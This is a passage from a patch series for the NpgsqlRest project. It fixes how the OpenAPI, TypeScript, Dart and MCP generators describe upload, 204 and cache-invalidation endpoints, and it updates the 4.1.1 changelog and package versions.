a/NpgsqlRestTests/Setup/McpPluginTestFixture.cs b/NpgsqlRestTests/Setup/McpPluginTestFixture.cs index fe83cbd5..b7a9d5e5 100644 --- a/NpgsqlRestTests/Setup/McpPluginTestFixture.cs +++ b/NpgsqlRestTests/Setup/McpPluginTestFixture.cs @@ -58,11 +58,17 @@ public McpPluginTestFixture() // requests an endpoint (e.g. `mcp`). OpenApi is loaded too so we can assert that a pure // modifier (`openapi hide`) on a non-HTTP routine does NOT spawn an endpoint. CommentsMode = CommentsMode.OnlyAnnotated, + // cached endpoints get a cache invalidation endpoint (which must not become a second tool) + CacheOptions = new() { InvalidateCacheSuffix = "invalidate" }, EndpointCreateHandlers = [_mcp, new OpenApi(new OpenApiOptions())], EndpointsCreated = endpoints => { foreach (var endpoint in endpoints) { + if (endpoint.InvalidateCache) + { + continue; + } Endpoints[endpoint.Routine.Name] = endpoint; } } diff --git a/plugins/NpgsqlRest.Mcp/Mcp.cs b/plugins/NpgsqlRest.Mcp/Mcp.cs index 8371ae17..8c52468d 100644 --- a/plugins/NpgsqlRest.Mcp/Mcp.cs +++ b/plugins/NpgsqlRest.Mcp/Mcp.cs @@ -118,6 +118,12 @@ public void Handle(RoutineEndpoint endpoint) { return; } + // The cache invalidation endpoint of a cached tool endpoint carries that endpoint's metadata, but it is not + // a tool: the tool is the endpoint itself. + if (endpoint.InvalidateCache) + { + return; + } var tool = BuildTool(endpoint, info); var name = tool["name"]!.GetValue(); From cb01e67c23153cd10cc41708d411be67090651ea Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:21:24 +0100 Subject: [PATCH 34/38] fix: upload endpoints in OpenAPI and in the generated clients OpenAPI: an upload endpoint has a multipart/form-data request body. TsClient, DartClient: the response is typed as upload metadata only when the routine returns one json value, otherwise any / dynamic. --- .../DartClientTests/ResponseShapeTests.cs | 105 ++++++++++++++++++ .../OpenApiTests/ResponseShapeTests.cs | 14 +++ .../TsClientTests/ResponseShapeTests.cs | 85 ++++++++++++++ plugins/NpgsqlRest.DartClient/DartClient.cs | 12 +- plugins/NpgsqlRest.OpenApi/OpenApi.cs | 28 +++++ plugins/NpgsqlRest.TsClient/TsClient.cs | 12 +- 6 files changed, 254 insertions(+), 2 deletions(-) diff --git a/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs b/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs index 5ee19698..6ecf3604 100644 --- a/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs +++ b/NpgsqlRestTests/DartClientTests/ResponseShapeTests.cs @@ -31,6 +31,12 @@ comment on function dartclient_test.shape_bytes() is ' comment on function dartclient_test.shape_cached() is ' dartclient_module=dart_shape cached'; + +create function dartclient_test.shape_upload(_meta json = null) returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function dartclient_test.shape_upload(json) is ' +dartclient_module=dart_shape +upload for file_system +param _meta is upload metadata'; """); } } @@ -70,6 +76,50 @@ public class ResponseShapeTests return http.Response.fromStream(await _client.send(request)); } +Future _sendMultipart( + http.MultipartRequest multipart, { + void Function(int loaded, int total)? progress, +}) async { + if (progress == null) { + return http.Response.fromStream(await _client.send(multipart)); + } + final total = multipart.contentLength; + final bytes = multipart.finalize(); + final request = http.StreamedRequest(multipart.method, multipart.url); + request.headers.addAll(multipart.headers); + request.contentLength = total; + var loaded = 0; + bytes.listen( + (chunk) { + loaded += chunk.length; + progress(loaded, total); + request.sink.add(chunk); + }, + onDone: request.sink.close, + onError: request.sink.addError, + ); + return http.Response.fromStream(await _client.send(request)); +} + +String _query(Map query) { + final parts = []; + query.forEach((key, value) { + if (value is List) { + for (final v in value) { + parts.add(v == null ? '$key=' : '$key=${Uri.encodeQueryComponent(_str(v))}'); + } + } else if (value == null) { + parts.add('$key='); + } else { + parts.add('$key=${Uri.encodeQueryComponent(_str(value))}'); + } + }); + return '?${parts.join('&')}'; +} + +String _str(Object value) => + value is DateTime ? value.toIso8601String() : value.toString(); + class DartclientTestShapeCachedResponse { final int? a; final String? b; @@ -94,6 +144,26 @@ Map toJson() { } } +class DartclientTestShapeUploadRequest { + final dynamic meta; + + const DartclientTestShapeUploadRequest({ + this.meta, + }); + + factory DartclientTestShapeUploadRequest.fromJson(Map json) { + return DartclientTestShapeUploadRequest( + meta: json['meta'], + ); + } + + Map toJson() { + return { + if (meta != null) 'meta': meta, + }; + } +} + /// function dartclient_test.shape_bytes() /// returns bytea /// @@ -189,6 +259,41 @@ Future dartclientTestShapeRaw() async { return utf8.decode(response.bodyBytes); } +/// function dartclient_test.shape_upload( +/// _meta json DEFAULT NULL::json +/// ) +/// returns table( +/// a integer, +/// b text +/// ) +/// +/// comment on function dartclient_test.shape_upload is 'dartclient_module=dart_shape +/// upload for file_system +/// param _meta is upload metadata'; +/// +/// [files] Multipart files to upload, sent as form field "file". +/// [request] Carries the endpoint parameters. +/// [progress] Optional callback reporting upload progress in bytes. +/// Returns `dynamic`. +/// +/// See FUNCTION dartclient_test.shape_upload +Future dartclientTestShapeUpload( + List files, + DartclientTestShapeUploadRequest request, { + void Function(int loaded, int total)? progress, +}) async { + final uri = Uri.parse('$baseUrl/api/dartclient-test/shape-upload' + _query({ + if (request.meta != null) 'meta': request.meta, + })); + final multipart = http.MultipartRequest('POST', uri); + multipart.files.addAll(files); + final response = await _sendMultipart(multipart, progress: progress); + if (response.statusCode < 200 || response.statusCode >= 300) { + throw http.ClientException(utf8.decode(response.bodyBytes), uri); + } + return jsonDecode(utf8.decode(response.bodyBytes)); +} + /// function dartclient_test.shape_void() /// returns table( /// a integer, diff --git a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs index 5f29e210..019abf86 100644 --- a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs +++ b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs @@ -124,6 +124,11 @@ HTTP GET cached openapi tags Things'; +create function oas_shape_upload(_meta json = null) returns json language sql as $$ select _meta $$; +comment on function oas_shape_upload(json) is ' +upload for file_system +param _meta is upload metadata'; + create function oas_shape_raw_array() returns int[] language sql as $$ select array[1,2] $$; comment on function oas_shape_raw_array() is ' HTTP GET @@ -369,6 +374,15 @@ public void Invalidation_endpoint_has_the_tags_of_its_endpoint() Document.Value["paths"]!["/api/oas-shape-tagged/invalidate"]!["get"]!["tags"]!.ToJsonString().Should().Be("""["Things"]"""); } + [Fact] + public void Upload_endpoint_takes_its_files_as_multipart_form_data() + { + Document.Value["paths"]!["/api/oas-shape-upload"]!["post"]!["requestBody"]!.ToJsonString().Should().Be( + """{"required":true,"content":{"multipart/form-data":{"schema":{"type":"object","properties":{"file":{"type":"array","items":{"type":"string","format":"binary"}}}}}}}"""); + // it answers with what its routine returns: here a json value + Documented("/api/oas-shape-upload", "post").Should().Be(Ok("application/json", "{}")); + } + [Fact] public async Task Raw_array_value_is_text_and_not_a_json_array() { diff --git a/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs b/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs index c878a4af..6c1ee644 100644 --- a/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs +++ b/NpgsqlRestTests/TsClientTests/ResponseShapeTests.cs @@ -31,6 +31,12 @@ comment on function tsclient_test.shape_bytes() is ' comment on function tsclient_test.shape_cached() is ' tsclient_module=shape cached'; + +create function tsclient_test.shape_upload(_meta json = null) returns table (a int, b text) language sql as $$ select 1, 'x' $$; +comment on function tsclient_test.shape_upload(json) is ' +tsclient_module=shape +upload for file_system +param _meta is upload metadata'; """); } } @@ -45,12 +51,25 @@ public class ResponseShapeTests { private const string Expected = """ const baseUrl = ""; +const parseQuery = (query: Record) => "?" + Object.keys(query ? query : {}) + .map(key => { + const value = (query[key] != null ? query[key] : "") as string; + if (Array.isArray(value)) { + return value.map((s: string) => s ? `${key}=${encodeURIComponent(s)}` : `${key}=`).join("&"); + } + return `${key}=${encodeURIComponent(value)}`; + }) + .join("&"); interface ITsclientTestShapeCachedResponse { a: number | null; b: string | null; } +interface ITsclientTestShapeUploadRequest { + meta?: any | null; +} + /** * function tsclient_test.shape_bytes() @@ -162,6 +181,72 @@ export async function tsclientTestShapeRaw() : Promise { return await response.text(); } +/** +* function tsclient_test.shape_upload( +* _meta json DEFAULT NULL::json +* ) +* returns table( +* a integer, +* b text +* ) +* +* @remarks +* comment on function tsclient_test.shape_upload is 'tsclient_module=shape +* upload for file_system +* param _meta is upload metadata'; +* +* @param request - Object containing request parameters. +* @returns {any} +* +* @see FUNCTION tsclient_test.shape_upload +*/ +export async function tsclientTestShapeUpload( + files: FileList | null, + request: ITsclientTestShapeUploadRequest, + progress?: (loaded: number, total: number) => void, +): Promise { + return new Promise((resolve, reject) => { + if (!files || files.length === 0) { + reject(new Error("No files to upload")); + return; + } + var xhr = new XMLHttpRequest(); + if (progress) { + xhr.upload.addEventListener( + "progress", + (event) => { + if (event.lengthComputable && progress) { + progress(event.loaded, event.total); + } + }, + false + ); + } + xhr.onload = function () { + if (this.status >= 200 && this.status < 300) { + resolve(JSON.parse(this.responseText) as any); + } else { + throw new Error(this.responseText); + } + }; + xhr.onerror = function () { + reject({ + xhr: this, + status: this.status, + statusText: this.statusText || 'Network error occurred', + response: this.response + }); + }; + xhr.open("POST", baseUrl + "/api/tsclient-test/shape-upload" + parseQuery(request)); + const formData = new FormData(); + for(let i = 0; i < files.length; i++) { + const file = files[i]; + formData.append("file", file, file.name); + } + xhr.send(formData); + }); +} + /** * function tsclient_test.shape_void() * returns table( diff --git a/plugins/NpgsqlRest.DartClient/DartClient.cs b/plugins/NpgsqlRest.DartClient/DartClient.cs index 1406636e..10853e4a 100644 --- a/plugins/NpgsqlRest.DartClient/DartClient.cs +++ b/plugins/NpgsqlRest.DartClient/DartClient.cs @@ -611,7 +611,17 @@ elem.Conversion is null } else if (!isVoid && !urlOnly) { - if (endpoint.Upload) + // An upload endpoint answers with what its routine returns. Routines that return a single json value + // return the upload metadata (the usual way to write them): a list of file descriptions. Any other + // routine returns something else, and the response is not described as file descriptions. + var returnsUploadMetadata = returnsSet == false && columnCount == 1 && !returnsRecordType + && columnsTypeDescriptor.Length > 0 && columnsTypeDescriptor[0].IsJson; + if (endpoint.Upload && !returnsUploadMetadata) + { + responseName = "dynamic"; + payloadLines = [JsonDecodeExpr]; + } + else if (endpoint.Upload) { var uploadName = EscapeDartClassName(string.Concat(options.ModelPrefix, pascal, "Response", options.ModelSuffix)); if (!usedModelNames.Contains(uploadName)) diff --git a/plugins/NpgsqlRest.OpenApi/OpenApi.cs b/plugins/NpgsqlRest.OpenApi/OpenApi.cs index 29a5d629..166ec26d 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApi.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApi.cs @@ -450,6 +450,34 @@ public void Handle(RoutineEndpoint endpoint) } } + // An upload endpoint takes its files as multipart/form-data (its parameters are in the query string). The + // name of the form field does not matter; the generated clients use "file". + if (endpoint.Upload && operation["requestBody"] is null) + { + operation["requestBody"] = new JsonObject + { + ["required"] = true, + ["content"] = new JsonObject + { + ["multipart/form-data"] = new JsonObject + { + ["schema"] = new JsonObject + { + ["type"] = "object", + ["properties"] = new JsonObject + { + ["file"] = new JsonObject + { + ["type"] = "array", + ["items"] = new JsonObject { ["type"] = "string", ["format"] = "binary" } + } + } + } + } + } + }; + } + // The response: what the endpoint answers with (see OpenApiResponse) var (status, response) = OpenApiResponse.Describe(endpoint, _options); var responses = new JsonObject { [status] = response }; diff --git a/plugins/NpgsqlRest.TsClient/TsClient.cs b/plugins/NpgsqlRest.TsClient/TsClient.cs index d138ab55..65ff5bb3 100644 --- a/plugins/NpgsqlRest.TsClient/TsClient.cs +++ b/plugins/NpgsqlRest.TsClient/TsClient.cs @@ -706,7 +706,17 @@ string GetReturnExp(string responseExp) } else if (!isVoid && !urlOnly) { - if (endpoint.Upload) + // An upload endpoint answers with what its routine returns. Routines that return a single json value + // return the upload metadata (the usual way to write them): a list of file descriptions. Any other + // routine returns something else, and the response is not described as file descriptions. + var returnsUploadMetadata = returnsSet == false && columnCount == 1 && !returnsRecordType + && columnsTypeDescriptor.Length > 0 && columnsTypeDescriptor[0].IsJson; + if (endpoint.Upload && !returnsUploadMetadata) + { + responseName = "any"; + returnExp = GetReturnExp("await response.json()"); + } + else if (endpoint.Upload) { responseName = $"I{pascal}Response"; StringBuilder resp = new(); From 7d1fb135b1380b7467db71794ddf9ab78ba49feb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:21:24 +0100 Subject: [PATCH 35/38] fix: OpenAPI documents the 204 response for no value Endpoints with response_null_handling no_content that return a single value, or single with no row, have a 204 response next to the 200. --- .../OpenApiTests/ResponseShapeTests.cs | 27 +++++++++++++++++++ plugins/NpgsqlRest.OpenApi/OpenApi.cs | 4 +++ plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs | 17 ++++++++++++ 3 files changed, 48 insertions(+) diff --git a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs index 019abf86..48ab0bfa 100644 --- a/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs +++ b/NpgsqlRestTests/OpenApiTests/ResponseShapeTests.cs @@ -129,6 +129,17 @@ comment on function oas_shape_upload(json) is ' upload for file_system param _meta is upload metadata'; +create function oas_shape_null_value() returns text language sql as $$ select null::text $$; +comment on function oas_shape_null_value() is ' +HTTP GET +response_null_handling no_content'; + +create function oas_shape_no_row() returns table (id int, name text) language sql as $$ select 1, 'a' where false $$; +comment on function oas_shape_no_row() is ' +HTTP GET +@single +response_null_handling no_content'; + create function oas_shape_raw_array() returns int[] language sql as $$ select array[1,2] $$; comment on function oas_shape_raw_array() is ' HTTP GET @@ -383,6 +394,22 @@ public void Upload_endpoint_takes_its_files_as_multipart_form_data() Documented("/api/oas-shape-upload", "post").Should().Be(Ok("application/json", "{}")); } + [Fact] + public async Task Null_value_that_is_answered_with_204_has_both_responses() + { + (await Answered("/api/oas-shape-null-value")).Should().Be("204 text/plain "); + Documented("/api/oas-shape-null-value").Should().Be( + """{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}},"204":{"description":"No content: there is no value (NULL, or no row)"}}"""); + } + + [Fact] + public async Task Single_without_a_row_that_is_answered_with_204_has_both_responses() + { + (await Answered("/api/oas-shape-no-row")).Should().Be("204 application/json "); + Documented("/api/oas-shape-no-row").Should().Be( + """{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"object","properties":""" + ThingProperties.Replace("thingId", "id") + """}}}},"204":{"description":"No content: there is no value (NULL, or no row)"}}"""); + } + [Fact] public async Task Raw_array_value_is_text_and_not_a_json_array() { diff --git a/plugins/NpgsqlRest.OpenApi/OpenApi.cs b/plugins/NpgsqlRest.OpenApi/OpenApi.cs index 166ec26d..05a3ca05 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApi.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApi.cs @@ -481,6 +481,10 @@ public void Handle(RoutineEndpoint endpoint) // The response: what the endpoint answers with (see OpenApiResponse) var (status, response) = OpenApiResponse.Describe(endpoint, _options); var responses = new JsonObject { [status] = response }; + if (status == "200" && OpenApiResponse.NoContentWhenNull(endpoint, _options)) + { + responses["204"] = new JsonObject { ["description"] = "No content: there is no value (NULL, or no row)" }; + } operation["responses"] = responses; diff --git a/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs b/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs index 3e1aec0f..3d4c1ce4 100644 --- a/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs +++ b/plugins/NpgsqlRest.OpenApi/OpenApiResponse.cs @@ -125,6 +125,23 @@ public static (string Status, JsonObject Response) Describe(RoutineEndpoint endp routine.ReturnsSet && endpoint.ReturnSingleRecord is false ? ArrayOf(rowSchema) : rowSchema); } + /// + /// True when the endpoint answers 204 instead of its usual response when there is no value: a single value that + /// is NULL, or `single` with no row, on an endpoint that answers NULL with 204 (TextResponseNullHandling.NoContent). + /// + public static bool NoContentWhenNull(RoutineEndpoint endpoint, NpgsqlRestOptions? options) + { + var routine = endpoint.Routine; + if (endpoint.TextResponseNullHandling != TextResponseNullHandling.NoContent + || endpoint.Login || endpoint.Logout || routine.IsMultiCommand + || endpoint.GetResponseKind(options) is not (EndpointResponseKind.Routine or EndpointResponseKind.RawText)) + { + return false; + } + var oneValue = routine.ReturnsSet is false && routine.ColumnCount == 1 && routine.ReturnsRecordType is false; + return endpoint.ReturnSingleRecord || (oneValue && endpoint.Raw is false); + } + private static (string, JsonObject) Ok(string contentType, JsonObject? schema) => Ok("Successful response", contentType, schema); private static (string, JsonObject) Ok(string description, string contentType, JsonObject? schema) From 281e54b02e9646652c229bd017e8aff20a47199a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:21:24 +0100 Subject: [PATCH 36/38] docs: 4.1.1 changelog - changes in responses, summary, contents, known limits Everything that cannot be described exactly by the generators is listed under Known limits. --- changelog/v4.1.1.md | 101 +++++++++++++++++++++++++++++++++++++++----- 1 file changed, 91 insertions(+), 10 deletions(-) diff --git a/changelog/v4.1.1.md b/changelog/v4.1.1.md index be8460c1..a76a1c17 100644 --- a/changelog/v4.1.1.md +++ b/changelog/v4.1.1.md @@ -4,17 +4,80 @@ [Full Changelog](https://github.com/NpgsqlRest/NpgsqlRest/compare/4.1.0...4.1.1) -Patch release. What the generators say an endpoint answers with now matches what the endpoint answers with: the OpenAPI document, the generated TypeScript and Dart clients, and the MCP tool schemas. Reported in [#36](https://github.com/NpgsqlRest/NpgsqlRest/issues/36) for one case (`@single` in the OpenAPI document). The other cases were found by calling every endpoint of the test suite and comparing each answer with the document. No endpoint answers differently than before, and no configuration key was added or changed. +Patch release. What the generators say an endpoint answers with now matches what the endpoint answers with: the OpenAPI document, the generated TypeScript and Dart clients, and the MCP tool schemas. Reported in [#36](https://github.com/NpgsqlRest/NpgsqlRest/issues/36) for one case (`@single` in the OpenAPI document). The other cases were found by calling every endpoint of the test suite and comparing each answer with the document. Two responses were wrong themselves and are fixed: a `money` value made the response invalid JSON, and a `raw` response was labelled as JSON. No configuration key was added or changed. -**Who should upgrade:** everyone who generates clients from `openapi.json`, and everyone who uses `raw`, `table_format`, `bytea` results, the `void` annotation or cache invalidation endpoints with the generated TypeScript or Dart clients or with MCP tools. +**Who should upgrade:** everyone who generates clients from `openapi.json`, and everyone who uses `raw`, `table_format`, `money` or `bytea` results, uploads, the `void` annotation or cache invalidation endpoints with the generated TypeScript or Dart clients or with MCP tools. -**After upgrading:** regenerate the OpenAPI document and the clients. The descriptions of some endpoints change (the list is below), so clients generated from them change as well. +**After upgrading:** regenerate the OpenAPI document and the clients. Read [Changes in responses](#changes-in-responses) first: two responses change. What still cannot be described exactly is listed in [Known limits](#known-limits). + +### Summary + +| | What | Affects | +|---|---|---| +| Changed | `money` values are JSON strings (`"$1,234.50"`); they were written without quotes, which is not valid JSON | responses, all generators | +| Changed | `raw` responses without a content type are `text/plain`; they were `application/json` | responses, OpenAPI | +| Fixed | the described response follows the endpoint's annotations and return type (`single`, `void`, single values, `bytea`, `raw`, `table_format`, `json`, composite types, SQL files with several statements, cache invalidation, `proxy`, `login`) | OpenAPI | +| Fixed | upload endpoints have a `multipart/form-data` request body | OpenAPI | +| Fixed | a `204` response is documented for endpoints that answer `NULL` or no row with it | OpenAPI | +| Fixed | the cache invalidation endpoint of a hidden endpoint is hidden, and has the tags of its endpoint | OpenAPI, MCP | +| Fixed | functions for `raw`, `table_format`, `bytea`, cache invalidation and upload endpoints read and type the response the endpoint gives | TypeScript and Dart clients | +| Fixed | `outputSchema` and `structuredContent` agree for a set with one named column, `single` and the `void` annotation | MCP | +| Documented | what cannot be described exactly | [Known limits](#known-limits) | + +### Contents + +- [Changes in responses](#changes-in-responses) + - [`money` values are JSON strings](#money-values-are-json-strings) + - [`raw` responses are `text/plain`](#raw-responses-are-textplain) +- [Fixes](#fixes) + - [OpenAPI: the described response did not match the response](#openapi-the-described-response-did-not-match-the-response) + - [OpenAPI: three more things the document did not say](#openapi-three-more-things-the-document-did-not-say) + - [TypeScript and Dart clients: functions that read the wrong kind of response](#typescript-and-dart-clients-functions-that-read-the-wrong-kind-of-response) + - [MCP: `outputSchema` and `structuredContent` for four return shapes](#mcp-outputschema-and-structuredcontent-for-four-return-shapes) +- [Known limits](#known-limits) +- [For plugin authors](#for-plugin-authors) + +### Changes in responses + +#### `money` values are JSON strings + +A `money` value in a row was written without quotes: + +```json +[{"id":1,"price":$1,234.50}] +``` + +This is not valid JSON, so no client could read a response that had a `money` column, an array of `money`, or a composite type with a `money` field. It is now a string, as PostgreSQL writes it: + +```json +[{"id":1,"price":"$1,234.50"}] +``` + +- The text is in the format of the database's `lc_monetary` setting (`$1,234.50`, `1.234,50 €`), which is why it cannot be a JSON number. To get a number, return `price::numeric` from the routine. +- A routine that returns one `money` value answers with it as `text/plain`, as before. +- A `money` **parameter** is unchanged: it is a decimal number, sent as a number (`12.5`) or as a string (`"12.5"`). +- The generators follow: `money` is `string` in the TypeScript client, `String` in the Dart client (it was `double`), and a string in the OpenAPI document and in MCP schemas. This applies to parameters as well. + +#### `raw` responses are `text/plain` + +A `raw` endpoint that does not set a content type answered with the content type `application/json`, although its body is text that is not JSON. It now answers with `text/plain`. The same goes for a `raw` routine that returns a single array value. + +**If you rely on the old header:** set it on the endpoint. + +```sql +comment on function export_users() is ' +HTTP GET +raw +Content-Type: application/json'; +``` + +Endpoints that already set a content type (`Content-Type: text/csv`) are not affected. ### Fixes #### OpenAPI: the described response did not match the response -The document decided the response from the routine alone and did not look at the endpoint's annotations. Before the fix, 482 of the 1,271 answers of the test suite's endpoints that could be compared were not what the document said. What is left are answers that depend on data (a `NULL` result has no body) and arrays of more than one dimension (the number of dimensions is not part of a PostgreSQL array type). +The document decided the response from the routine alone and did not look at the endpoint's annotations. Before the fix, 482 of the 1,271 answers of the test suite's endpoints that could be compared were not what the document said. | Endpoint | The document said | The endpoint answers with, and the document now says | |---|---|---| @@ -24,9 +87,10 @@ The document decided the response from the routine alone and did not look at the | `void` annotation, or a routine that returns nothing | `200` | `204`, no body | | a single value that is not `json` or an array (`returns text`, `int`, `boolean`...) | `application/json` | `text/plain`; a boolean is `t` or `f` | | `bytea` | `application/json`, a string | `application/octet-stream` | -| `raw` | an array of objects | a string | +| `raw` | an array of objects | a string, `text/plain` | | `table_format` (HTML, Excel) | `application/json`, an array of objects | the content type of the format | | `json` and `jsonb` values and columns | an object | any JSON value | +| `money` | a number | a string | | a column that is an array of a composite type | an array of strings | an array of objects with the type's fields | | `nested` composite columns | the fields of the type as columns of the row | one object under the column name | | `returns record` | an object | an array of strings | @@ -67,11 +131,18 @@ and is now } } } } ``` +#### OpenAPI: three more things the document did not say + +- **Uploads.** An upload endpoint had no request body in the document. It now has a `multipart/form-data` body with the files. +- **`204` for no value.** An endpoint that answers a `NULL` value, or `single` with no row, with `204` (`response_null_handling no_content`) now has a `204` response next to its `200`. +- **Hidden endpoints.** The cache invalidation endpoint of an endpoint with `openapi hide` was still in the document, so the path that was meant to be hidden was visible. It is hidden now, and an invalidation endpoint also gets the `openapi tags` of its endpoint. + #### TypeScript and Dart clients: functions that read the wrong kind of response - **`raw`.** The function read the response as JSON (`response.json()`, `jsonDecode`) and failed, because a `raw` endpoint answers with text. It now returns the text (`string`, `String`). - **`table_format` and `bytea`.** The function read an HTML table or an Excel file as JSON, and bytes as text. It now returns the response itself (`Response`, `http.Response`), as functions of proxy endpoints do, so the caller reads it as text or as bytes. - **Cache invalidation endpoints.** The function was typed as the cached endpoint's response. It now returns `{ invalidated: boolean }` (`Map` in Dart). It is also written to the same module as the function of the cached endpoint, and the other `tsclient_...` and `dartclient_...` annotations of that endpoint apply to it. Before, they did not, and the function went to the default module. +- **Uploads.** The function of every upload endpoint was typed as a list of file descriptions (the upload metadata). That is right only when the routine returns the metadata, which is a routine that returns one `json` value. For any other routine the response is now `any` (`dynamic` in Dart). - **Dart, `void` annotation.** The function read a body from an endpoint that answers `204` without one. The TypeScript client was already correct. #### MCP: `outputSchema` and `structuredContent` for four return shapes @@ -81,12 +152,22 @@ and is now - **`single` on a set of values:** a text value kept its JSON quotes (`{"value": "\"a\""}`). It is now the value (`{"value": "a"}`). - **`void` annotation:** the tool declared an `outputSchema` and returned no `structuredContent`. It now declares none. +### Known limits + +What a generator cannot know when the endpoints are built. None of these is new in this version. + +- **Arrays of more than one dimension.** The number of dimensions is not part of a PostgreSQL array type: `int[]` and `int[][]` are the same type. An array is described as one of a single dimension (`number[]`, `List`, `{"type":"array","items":{"type":"integer"}}`), also when its values are arrays themselves (`[[1,2],[3,4]]`). An array of a composite type with more than one dimension holds its values as text (`"(1,a)"`), not as objects. +- **`json` and `jsonb`.** The value can be any JSON value, so it is described as any value (`any`, `dynamic`, `{}`), not as its actual shape. +- **`NULL` and missing rows.** A single value that is `NULL`, and `single` with no row, are answered with an empty body, with `null` or with `204`, depending on `response_null_handling`. The document describes the response with a value (and the `204`, when it is configured). It does not mark values as nullable: the OpenAPI document has no nullability at all yet, for parameters or for responses. +- **Responses decided at request time.** A content type or a table format taken from a parameter (`Content-Type: {_type}`, `table_format = {_format}`), the response of a proxied upstream service, and the body of a `login` (it depends on the authentication scheme) are described as any content (`*/*`), and the generated client functions for proxies and table formats return the response itself. +- **A text value declared as JSON.** A routine that returns `text` on an endpoint with `Content-Type: application/json` is described as any JSON value. Whether the text is valid JSON is up to the routine. +- **Uploads in the generated clients.** The upload function reads the response as JSON. A routine of an upload endpoint that returns plain text (`returns text`) is answered as `text/plain`, and the function fails to read it. Return `json` from such a routine. +- **Columns with the same name.** A result with two columns of the same name is written as a JSON object with that key twice (`{"value":1,"value":2}`). The descriptions hold one property of that name. Give the columns different names. +- **`money` text depends on the database.** See [above](#money-values-are-json-strings): the same value is `$1,234.50` in one database and `1.234,50 €` in another. +- **Responses written by custom code.** A response written by a `CommandCallbackAsync` or another extension point of the library is not known to the generators. They describe what the endpoint would answer with on its own. + ### For plugin authors `RoutineEndpoint.GetResponseKind(NpgsqlRestOptions?)` returns what kind of response an endpoint gives (`EndpointResponseKind`: `Routine`, `NoContent`, `RawText`, `Binary`, `TableFormat`, `Upstream`, `CacheInvalidation`). The four generators above now use it instead of each deciding on its own, which is how they came to disagree. A custom `IEndpointCreateHandler` that describes responses should use it as well. -### Not changed, found on the way - -- A `money` column in a set of rows is written without quotes (`"price":$1.00`), which is not valid JSON. -- A `raw` endpoint with no content type set answers with the content type `application/json`. The document now describes its body as a string under that content type. -- The cache invalidation endpoint of an endpoint that is hidden from the document (`openapi hide`) is still in the document. +The cache invalidation endpoint of a cached endpoint now carries that endpoint's `CustomParameters` and `Items`, so a handler sees for it what it saw for the cached endpoint. A handler that registers something for each endpoint with its metadata (as the MCP plugin registers tools) should skip endpoints with `InvalidateCache` set. From c1b22be0569b3ac1780e6bb00136922a22f1bfd3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vedran=20Bilopavlovi=C4=87?= Date: Wed, 2 Dec 2026 09:35:27 +0100 Subject: [PATCH 37/38] chore: upgrade package references Serilog.Sinks.OpenTelemetry 4.3.0, Microsoft.Extensions.Caching.Hybrid 11.0.1 (10.11.1 on .NET 10), JwtBearer and StackExchangeRedis 10.0.15 on .NET 10; in tests WireMock.Net 2.35.0 and Mvc.Testing 10.0.15 on .NET 10. --- NpgsqlRestClient/NpgsqlRestClient.csproj | 10 +++++----- NpgsqlRestTests/NpgsqlRestTests.csproj | 4 ++-- changelog/v4.1.1.md | 14 ++++++++++++++ 3 files changed, 21 insertions(+), 7 deletions(-) diff --git a/NpgsqlRestClient/NpgsqlRestClient.csproj b/NpgsqlRestClient/NpgsqlRestClient.csproj index 21a55f60..a369273a 100644 --- a/NpgsqlRestClient/NpgsqlRestClient.csproj +++ b/NpgsqlRestClient/NpgsqlRestClient.csproj @@ -20,14 +20,14 @@ - + - - - + + + - + diff --git a/NpgsqlRestTests/NpgsqlRestTests.csproj b/NpgsqlRestTests/NpgsqlRestTests.csproj index 0c96d625..1f2c7c78 100644 --- a/NpgsqlRestTests/NpgsqlRestTests.csproj +++ b/NpgsqlRestTests/NpgsqlRestTests.csproj @@ -19,9 +19,9 @@ - + - + diff --git a/changelog/v4.1.1.md b/changelog/v4.1.1.md index a76a1c17..355e67c2 100644 --- a/changelog/v4.1.1.md +++ b/changelog/v4.1.1.md @@ -36,6 +36,7 @@ Patch release. What the generators say an endpoint answers with now matches what - [MCP: `outputSchema` and `structuredContent` for four return shapes](#mcp-outputschema-and-structuredcontent-for-four-return-shapes) - [Known limits](#known-limits) - [For plugin authors](#for-plugin-authors) +- [Dependencies](#dependencies) ### Changes in responses @@ -171,3 +172,16 @@ What a generator cannot know when the endpoints are built. None of these is new `RoutineEndpoint.GetResponseKind(NpgsqlRestOptions?)` returns what kind of response an endpoint gives (`EndpointResponseKind`: `Routine`, `NoContent`, `RawText`, `Binary`, `TableFormat`, `Upstream`, `CacheInvalidation`). The four generators above now use it instead of each deciding on its own, which is how they came to disagree. A custom `IEndpointCreateHandler` that describes responses should use it as well. The cache invalidation endpoint of a cached endpoint now carries that endpoint's `CustomParameters` and `Items`, so a handler sees for it what it saw for the cached endpoint. A handler that registers something for each endpoint with its metadata (as the MCP plugin registers tools) should skip endpoints with `InvalidateCache` set. + +### Dependencies + +Packages of 